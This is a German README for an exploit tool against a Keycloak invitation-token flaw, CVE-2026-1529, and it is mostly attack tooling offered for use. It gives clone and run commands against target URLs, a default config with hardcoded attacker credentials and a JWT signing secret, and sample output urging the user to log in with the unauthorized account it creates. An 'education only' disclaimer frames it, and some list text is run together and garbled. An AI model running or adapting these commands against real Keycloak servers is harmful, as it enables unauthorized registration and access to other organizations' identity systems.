
CVE-2026-1529 (PoC) ist eine kritische Schwachstelle in Keycloak, die eine unbefugte Registrierung in Organisationen durch fehlerhafte Validierung von Einladungstokens ermöglicht. Dieses Exploit-Tool demonstriert die Schwachstelle, indem es JWT-Tokens manipuliert, um Benutzer in unbefugten Organisationen zu registrieren.
Keycloak: Nicht autorisierte Organisationsregistrierung durch unsachgemäße Validierung von Einladungstokens
Dieses Tool dient ausschließlich Bildungs- und Sicherheitstestzwecken. Verwenden Sie es nur auf Systemen, für die Sie ausdrücklich eine Testberechtigung haben. Unbefugter Zugriff auf Computersysteme ist illegal und unethisch. Die Autoren dieses Tools sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Erstellt von: f3ds cr3w est, 2002
CVE-2026-1529 ist eine kritische Schwachstelle in Keycloak, die eine nicht autorisierte Organisationsregistrierung durch unsachgemäße Validierung von Einladungstokens ermöglicht. Dieses Exploit-Tool demonstriert die Schwachstelle, indem es JWT-Tokens manipuliert, um Benutzer in nicht autorisierten Organisationen zu registrieren.
Die Schwachstelle besteht im JWT-Token-Validierungsprozess für Organisationseinladungen. Angreifer können die Felder org_id und email in den JWT-Nutzdaten manipulieren, wodurch sie Benutzer ohne ordnungsgemäße Autorisierung in beliebigen Organisationen registrieren können.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Standard usage with target URL
python keycloak-exploit.py https://target-keycloak.com
# Show help
python keycloak-exploit.py -h
# Show version
python keycloak-exploit.py -v
# Use custom invitation token
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Use custom organization ID
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Use custom configuration file
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Enable debug logging
python keycloak-exploit.py -d https://target-keycloak.com
Wenn der Exploit erfolgreich ist, sehen Sie eine Ausgabe wie diese:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
Wenn der Exploit fehlschlägt, sehen Sie:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # This file
├── config/
│ └── default_config.json # Default configuration
├── utils/
│ ├── jwt_utils.py # JWT manipulation utilities
│ ├── http_utils.py # HTTP client utilities
│ └── crypto_utils.py # Cryptographic utilities
├── output/
│ ├── logs/ # Log files
│ └── reports/ # Exploit reports
Das Tool verwendet eine Standardkonfigurationsdatei (config/default_config.json) mit den folgenden Einstellungen:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Sie können eine benutzerdefinierte Konfigurationsdatei erstellen und sie mit der Option -c verwenden:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
Das Tool nutzt die unsachgemäße JWT-Validierung aus, indem es:
org_id ändert, um eine andere Organisation anzuvisierenemail ändertVerbindungsfehler
Token-Validierungsfehler
org_id, email, invitation_type)Registrierungsfehler
Aktivieren Sie die Debug-Protokollierung für eine detaillierte Fehlerbehebung:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtDas Tool führt die folgenden Prüfungen durch:
Der Exploit gilt als erfolgreich, wenn:
Dieses Tool wird ausschließlich zu Bildungs- und Sicherheitstestzwecken bereitgestellt. Nutzung auf eigene Gefahr.
Erstellt von: f3ds cr3w est, 2002
Kontakt: Bei Fragen oder Feedback wenden Sie sich bitte an das Projekt-Repository.
Denken Sie daran: Mit großer Macht kommt große Verantwortung. Nutzen Sie dieses Tool weise und ethisch.
von f3ds cr3w est, 2002
| Option | Beschreibung | Erforderlich |
|---|
target | Ziel-Keycloak-URL (IP oder Domäne) | Ja |
-t, --token | Benutzerdefiniertes Einladungstoken zur Verwendung | Nein |
-o, --org-id | Benutzerdefinierte Organisations-ID | Nein |
-c, --config | Pfad zur Konfigurationsdatei | Nein |
-d, --debug | Debug-Protokollierung aktivieren | Nein |
-v, --version | Versionsinformationen anzeigen | Nein |
-h, --help | Hilfemeldung anzeigen | Nein |